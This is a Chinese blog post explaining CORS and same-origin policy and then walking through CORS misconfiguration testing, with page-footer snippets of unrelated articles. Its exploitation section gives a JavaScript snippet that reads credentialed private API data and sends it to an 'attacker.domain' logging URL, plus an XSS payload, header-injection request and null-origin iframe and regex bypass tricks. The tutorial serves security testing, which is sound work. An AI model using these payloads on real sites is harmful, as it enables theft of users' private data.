CORS带来的隐患_cors漏洞危害-程序员宅基地

跨域资源共享(CORS)

跨域资源共享(cors)可以放宽浏览器的同源策略,可以通过浏览器让不同的网站和不同的服务器之间通信。

1.同源策略

同源策略在浏览器安全中是一种非常重要的概念,大量的客户端脚本支持同源策略,比如JavaScript。

同源策略允许运行在页面的脚本可以无限制的访问同一个网站(同源)中其他脚本的任何方法和属性。当不同网站页面(非同源)的脚本试图去互相访问的时候,大多数的方法和属性都是被禁止的。

这个机制对于现代web应用是非常重要的,因为他们广泛的依赖http cookie来维护用户权限,服务器端会根据cookie来判断客户端是否合法,是否能发送机密信息。

浏览器要严格隔离两个不同源的网站,目的是保证数据的完整性和机密性。

“同源”的定义:

  • 域名
  • 协议
  • tcp端口号

只要以上三个值是相同的,我们就认为这两个资源是同源的。

为了更好的解释这个概念,下面这个表将利用"http://www.example.com/dir/page.html"这个url作为示例,展示在同源策略控制下不同的结果

验证url 结果 原因
http://www.example.com/dir/page.html 成功 同域名,同协议,同主机
http://www.example.com/dir2/other.html 成功 同域名,同协议,同主机
http://www.example.com:81/dir/other.html 失败 不同端口
https://www.example.com/dir/other.html 失败 不同协议
http://en.example.com/dir/other.html 失败 不同主机
http://example.com/dir/other.html 失败 不同主机
http://v2.www.example.com/dir/other.html 失败 不同主机
2.CORS出现

CORS是一种机制,这种机制通过在http头部添加字段,通常情况下,web应用A告诉浏览器,自己有权限访问应用B。这就可以用相同的描述来定义“同源”和“跨源”操作。

CORS的标准定义是:通过设置http头部字段,让客户端有资格跨域访问资源。通过服务器的验证和授权之后,浏览器有责任支持这些http头部字段并且确保能够正确的施加限制。

主要的头部字段包含:“Access-Control-Allow-Origin”

Access-Control-Allow-Origin: https://example.com

这个头部字段所列的“源”可以以访客的方式给服务器端发送跨域请求并且可以读取返回的文本,而这种方式是被同源策略所阻止的。

默认情况下,如果没有设置“Access-Control-Allow-Credentials”这个头的话,浏览器发送的请求就不会带有用户的身份数据(cookie或者HTTP身份数据),所以就不会泄露用户隐私信息。

协议建议,可以简单的利用空格来分隔多个源,比如:

Access-Control-Allow-Origin: https://example1.com https://example2.com

然而,没有浏览器支持这样的语法

通常利用通配符去信任所有的子域名也是不行的,比如:

Access-Control-Allow-Origin: *.example1.com

当前只支持用通配符来匹配域名,比如下面:

Access-Control-Allow-Origin: *

尽管浏览器可以支持通配符,但是不能同时将凭证标志设置成true。就像下面这种头部配置:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

这样配置浏览器将会报错,因为在响应具有凭据的请求时,服务器必须指定单个域,所不能使用通配符。简单的使用通配符将有效的禁用“Access-Control-Allow-Credentials”这个字段。

这些限制和行为的结果就是许多CORS的实现方式是根据“Origin”这个头部字段的值来生成“AccessControl-Allow-Origin”的值

还有一些关于CORS的头部字段,其中一个字段是“Vary"

根据CORS的实施标准,当”Access-Control-Allow-Origin“是被动态产生的话,就要用”Vary: Origin“去指定。

这个头部字段向客户端表明,服务器端返回内容的将根据请求中”Origin“的值发生变化。如果如果未设置此标头,则在某些情况下,它可能会被某些攻击所利用。

攻击技术

测试过程
  1. 识别
  2. 分析
  3. 利用
识别

首先,想要测试带有CORS缺陷应用的首先条件是要找到开启CORS的应用。APIs一个不错的选择,因为他们经常和不同的域交换信息。因此,通常情况下,接口会暴露一些信息收集和信息枚举的功能。

通常,当服务器收到头部带有”Origin"字段的请求的时候才会配置CORS,因此才会很容易的产生很多这样类型的漏洞。
另外,如果客户端收到返回报文的头部包含“Access-Control-*”这样的字段,但是没有定义源的话,那么很可能返回报文的头部是由请求报文中“Origin”这个字段来决定的。

因此,找到候选人接口之后,就可以发送头部带有“Origin”的数据包了。测试者应该试图让“Origin”字段使用不同的值,比如不同的域名称或者”null"。最好用一些的脚本自动化的完成这些任务。

比如:

GET /handler_to_test HTTP/1.1
Host: target.domain
Origin: https://target.domain
Connection: close

然后看服务器的返回报文头部是否带有“Access-Control-Allow-*”字段

HTTP/1.1 200 OK
…
Access-control-allow-credentials: true
Access-control-allow-origin: https://target.domain
…

上面的返回报文表明,这个应用中的接口已经开启了CORS这个功能。现在有必要对配置进行测试,以确定是否存在安全缺陷。

分析

识别出开启的CORS功能的接口之后,就要尽可能的分析配置,以发现正确的利用方式。

在这个阶段,开始fuzzing请求报文头部中“Origin”这个字段然后观察服务器的返回报文,目的是看哪些域是被允许的。重要的是验证哪种类型的控件可以被控制,应用会返回哪种头部字段。

因此,测试者应该发送发送头部字段“Origin”包含不同值的请求发送给服务器端,看看攻击者所控制的域名是否被允许。

GET /handler_to_test HTTP/1.1
Host: target.domain
Origin: https://attaker.domain
Connection: close

然后看服务器的返回报文头部是否带有“Access-Control-Allow-*”字段

HTTP/1.1 200 OK
…
Access-control-allow-credentials: true
Access-control-allow-origin: https://attacker.domain
…
利用

1.泄露用户数据

当“Access-Control-Allow-Credentials”设置为Ture时,利用这种CORS这种配置缺陷的基本技术就是创建一个JavaScript脚本去发送CORS请求,就像下面那样:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(“get”,”https://vulnerable.domain/api/private-data”,true);
req.withCredentials = true;
req.send();
function reqListener() {
location=”//attacker.domain/log?response=”+this.responseText;
};

用这样的代码黑客就可以通过有缺陷的“日志”接口偷到用户数据。

当带有目标系统用户凭据的受害者访问带有上述代码的页面的时候,浏览器就会发送下面的请求到“有漏洞服务器”

GET /api/private-data HTTP/1.1
Host: vulnerable.domain
Origin: https://attacker.domain/
Cookie: JSESSIONID=<redacted>

然后就会收到下面的返回数据

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: https://attacker.domain
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-Credentials
Vary: Origin
Expires: Thu, 01 Jan 1970 12:00:00 GMT
Last-Modified: Wed, 02 May 2018 09:07:07 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/json;charset=ISO-8859-1
Date: Wed, 02 May 2018 09:07:07 GMT
Connection: close
Content-Length: 149
{"id":1234567,"name":"Name","surname":"Surname","email":"[email protected]","account":"ACT1234567","balance":"123456,7","token":"to
p-secret-string"}

因为服务器发送了头部字段“Access-Control-Allow-*”给客户端,所以,受害者浏览器允许包含恶意JavaScript代码的页面访问用户的隐私数据。

2.客户端缓存中毒

这种配置允许攻击者利用其他的漏洞。比如,一个应用返回数据报文头部中包含“X-User”这个字段,这个字段的值没有经过验证就直接输出到返回页面上。

GET /login HTTP/1.1
Host: www.target.local
Origin: https://attacker.domain/
X-User: <svg/onload=alert(1)>

返回报文(注意:“Access-Control-Allow-Origin”已经被设置,但是“Access-Control-Allow-Credentials: true”并且“Vary: Origin”头没有被设置)

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.domain/
…
Content-Type: text/html
…
Invalid user: <svg/onload=alert(1)

攻击者可以把xss的exp放在自己控制的服务器中的JavaScript代码里面然后等待受害者去触发它。

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://www.target.local/login',true);
req.setRequestHeader('X-User', '<svg/onload=alert(1)>');
req.send();
function reqListener() {
location='http://www.target.local/login';
}

如果在返回报文中头部没有设置“Vary: Origin”,那么可以利用上面展示的例子,可以让受害者浏览器中的缓存中存储返回数据报文(这要基于浏览器的行为)并且当浏览器访问到相关URL的时候就会直接显示出来。(通过重定向来实现,可以用“reqListener()”这个方法)

3.服务端缓存中毒
另一种潜在的攻击方式是利用CORS的错误配置注入HTTP头部,这可能会被服务器端缓存下来,比如制造存储型xss
下面是攻击的利用条件:

  • 存在服务器端缓存
  • 能够反射“Origin“头部
  • 不会检查“Origin”头部中的特殊字符,比如”\r"

有了上面的先决条件,James Kettle展示了http头部注入的利用方式,他用这种方式攻击IE/Edge用户(因为他们使用“\r"(0x0d)作为的HTTP头部字段的终结符)

请求如下:

   GET / HTTP/1.1
    Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

    IE处理过后返回报文

    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: z
    Content-Type: text/html; charset=UTF-7

上面的请求不能直接拿来利用,因为攻击者没有办法保证受害者浏览器会提前发送畸形的头部。

如果攻击者能提前发送畸形的“Origin”头部,比如利用代理或者命令行的方式发送,然后服务器就会缓存这样的返回报文并且也会传递给其他人。

利用上面的例子,攻击者可以把页面的编码变成”UTF-7",周所周知,这可能会引发xss漏洞

绕过技术

null源

CORS的规范中还提到了“NULL”源。触发这个源是为了网页跳转或者是来自本地HTML文件。
目标应用可能会接收“null"源,并且这个可能被测试者(或者攻击者)利用,意外任何网站很容易使用沙盒iframe来获取”null“源

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>

使用上面的iframe产生一个请求类似于下面这样

GET /handler
Host: target.local
Origin: null

如果目标应用接收”null"源,那么服务器将返回类似下面的数据报文


HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

这种错误配置经常会碰到,所以会很方便的去尝试它。

使用目标域名作为子域名

如果目标应用只检查只检查“Origin”中的字符串是否包含“target.local”,那么就可以在自己控制的服务器上创建一个子域名。
用这样的方式,请求一般产生自JavaScript代码,并且请求中的“Origin”会像下面这样

Origin: https://target.local.attacker.domain

注册一个同名的域名

假设,目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:

^https?:\/\/.*\.?target\.local$

这样的正则表达式包含一个问题,导则这样的CORS配置都容易被攻击。下面表格将分解正则表达式:

Part 描述
.* 除了终止符的任何字符
. 一个点
? 在这里匹配一个“.”一次或者零次

这个?只影响".“这个字符串,因此在“target.local”前面的任何字符串都是被允许的,而不管是否有”."把他们分开。
因此,只需要在“origin”末尾包含目标域名就可以绕过上面的限制(这个场景的的目标域名是“
target.local”),比如:

Origin: https://nottarget.local

攻击者只需要注册一个末尾包含目标域名的新域名就可以利用这样的漏洞了。

控制目标的子域名

现在目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:

^https?:\/\/(.*\.)?target\.local$

这个允许来自”target.local“的跨域访问并且包含所有的子域名(来自HTTP和HTTPS协议)。
在这个场景中,如果攻击者能控制目标的有效的子域名(比如:“subdomain.target.local”),比如接管一个子域名,或者找到一个有xss漏洞的子域名。攻击者就可以产生一个有效的CORS请求。

使用特殊的特性

Corban Leo展示了一个比较有趣的研究,他在域名中插入一些特殊的字符来绕过一些限制。

这个研究员的特殊字符法只能用在Safari浏览器上。但是,我们进行了深入的分析,显示其中一部分特殊字符串也可以用在其他的浏览器中。
这种规避技术所面临的问题是,在发送请求之前,浏览器不总是会去验证域名的有效性。因此,如果使用一些特殊的字符串,那么浏览器可能就不会提前发送请求去验证域名是否存在或者有效。

假设,目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:

^https?:\/\/(.*\.)?target.local([^\.\-a-zA-Z0-9]+.*)?

上面的正则表达式的意思是,允许所有“target.local”的子域名的跨域请求,并且这些请求可以来自于子域名的任意端口。
下面是正则表达式的分解:
Part 描述
[^.-a-zA-Z0-9] 所有的字符串包含".","-",“a-z”,“A-Z”,“0-9”

  • 匹配前面的子表达式一次或多次
    .* 除了终止符的任何字符
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_37865996/article/details/102417173

智能推荐

攻防世界_难度8_happy_puzzle_攻防世界困难模式攻略图文-程序员宅基地

文章浏览阅读645次。这个肯定是末尾的IDAT了,因为IDAT必须要满了才会开始一下个IDAT,这个明显就是末尾的IDAT了。,对应下面的create_head()代码。,对应下面的create_tail()代码。不要考虑爆破,我已经试了一下,太多情况了。题目来源:UNCTF。_攻防世界困难模式攻略图文

达梦数据库的导出(备份)、导入_达梦数据库导入导出-程序员宅基地

文章浏览阅读2.9k次,点赞3次,收藏10次。偶尔会用到,记录、分享。1. 数据库导出1.1 切换到dmdba用户su - dmdba1.2 进入达梦数据库安装路径的bin目录,执行导库操作  导出语句:./dexp cwy_init/[email protected]:5236 file=cwy_init.dmp log=cwy_init_exp.log 注释:   cwy_init/init_123..._达梦数据库导入导出

js引入kindeditor富文本编辑器的使用_kindeditor.js-程序员宅基地

文章浏览阅读1.9k次。1. 在官网上下载KindEditor文件,可以删掉不需要要到的jsp,asp,asp.net和php文件夹。接着把文件夹放到项目文件目录下。2. 修改html文件,在页面引入js文件:<script type="text/javascript" src="./kindeditor/kindeditor-all.js"></script><script type="text/javascript" src="./kindeditor/lang/zh-CN.js"_kindeditor.js

STM32学习过程记录11——基于STM32G431CBU6硬件SPI+DMA的高效WS2812B控制方法-程序员宅基地

文章浏览阅读2.3k次,点赞6次,收藏14次。SPI的详情简介不必赘述。假设我们通过SPI发送0xAA,我们的数据线就会变为10101010,通过修改不同的内容,即可修改SPI中0和1的持续时间。比如0xF0即为前半周期为高电平,后半周期为低电平的状态。在SPI的通信模式中,CPHA配置会影响该实验,下图展示了不同采样位置的SPI时序图[1]。CPOL = 0,CPHA = 1:CLK空闲状态 = 低电平,数据在下降沿采样,并在上升沿移出CPOL = 0,CPHA = 0:CLK空闲状态 = 低电平,数据在上升沿采样,并在下降沿移出。_stm32g431cbu6

计算机网络-数据链路层_接收方收到链路层数据后,使用crc检验后,余数为0,说明链路层的传输时可靠传输-程序员宅基地

文章浏览阅读1.2k次,点赞2次,收藏8次。数据链路层习题自测问题1.数据链路(即逻辑链路)与链路(即物理链路)有何区别?“电路接通了”与”数据链路接通了”的区别何在?2.数据链路层中的链路控制包括哪些功能?试讨论数据链路层做成可靠的链路层有哪些优点和缺点。3.网络适配器的作用是什么?网络适配器工作在哪一层?4.数据链路层的三个基本问题(帧定界、透明传输和差错检测)为什么都必须加以解决?5.如果在数据链路层不进行帧定界,会发生什么问题?6.PPP协议的主要特点是什么?为什么PPP不使用帧的编号?PPP适用于什么情况?为什么PPP协议不_接收方收到链路层数据后,使用crc检验后,余数为0,说明链路层的传输时可靠传输

软件测试工程师移民加拿大_无证移民,未受过软件工程师的教育(第1部分)-程序员宅基地

文章浏览阅读587次。软件测试工程师移民加拿大 无证移民,未受过软件工程师的教育(第1部分) (Undocumented Immigrant With No Education to Software Engineer(Part 1))Before I start, I want you to please bear with me on the way I write, I have very little gen...

随便推点

Thinkpad X250 secure boot failed 启动失败问题解决_安装完系统提示secureboot failure-程序员宅基地

文章浏览阅读304次。Thinkpad X250笔记本电脑,装的是FreeBSD,进入BIOS修改虚拟化配置(其后可能是误设置了安全开机),保存退出后系统无法启动,显示:secure boot failed ,把自己惊出一身冷汗,因为这台笔记本刚好还没开始做备份.....根据错误提示,到bios里面去找相关配置,在Security里面找到了Secure Boot选项,发现果然被设置为Enabled,将其修改为Disabled ,再开机,终于正常启动了。_安装完系统提示secureboot failure

C++如何做字符串分割(5种方法)_c++ 字符串分割-程序员宅基地

文章浏览阅读10w+次,点赞93次,收藏352次。1、用strtok函数进行字符串分割原型: char *strtok(char *str, const char *delim);功能:分解字符串为一组字符串。参数说明:str为要分解的字符串,delim为分隔符字符串。返回值:从str开头开始的一个个被分割的串。当没有被分割的串时则返回NULL。其它:strtok函数线程不安全,可以使用strtok_r替代。示例://借助strtok实现split#include <string.h>#include <stdio.h&_c++ 字符串分割

2013第四届蓝桥杯 C/C++本科A组 真题答案解析_2013年第四届c a组蓝桥杯省赛真题解答-程序员宅基地

文章浏览阅读2.3k次。1 .高斯日记 大数学家高斯有个好习惯:无论如何都要记日记。他的日记有个与众不同的地方,他从不注明年月日,而是用一个整数代替,比如:4210后来人们知道,那个整数就是日期,它表示那一天是高斯出生后的第几天。这或许也是个好习惯,它时时刻刻提醒着主人:日子又过去一天,还有多少时光可以用于浪费呢?高斯出生于:1777年4月30日。在高斯发现的一个重要定理的日记_2013年第四届c a组蓝桥杯省赛真题解答

基于供需算法优化的核极限学习机(KELM)分类算法-程序员宅基地

文章浏览阅读851次,点赞17次,收藏22次。摘要:本文利用供需算法对核极限学习机(KELM)进行优化,并用于分类。

metasploitable2渗透测试_metasploitable2怎么进入-程序员宅基地

文章浏览阅读1.1k次。一、系统弱密码登录1、在kali上执行命令行telnet 192.168.26.1292、Login和password都输入msfadmin3、登录成功,进入系统4、测试如下:二、MySQL弱密码登录:1、在kali上执行mysql –h 192.168.26.129 –u root2、登录成功,进入MySQL系统3、测试效果:三、PostgreSQL弱密码登录1、在Kali上执行psql -h 192.168.26.129 –U post..._metasploitable2怎么进入

Python学习之路:从入门到精通的指南_python人工智能开发从入门到精通pdf-程序员宅基地

文章浏览阅读257次。本文将为初学者提供Python学习的详细指南,从Python的历史、基础语法和数据类型到面向对象编程、模块和库的使用。通过本文,您将能够掌握Python编程的核心概念,为今后的编程学习和实践打下坚实基础。_python人工智能开发从入门到精通pdf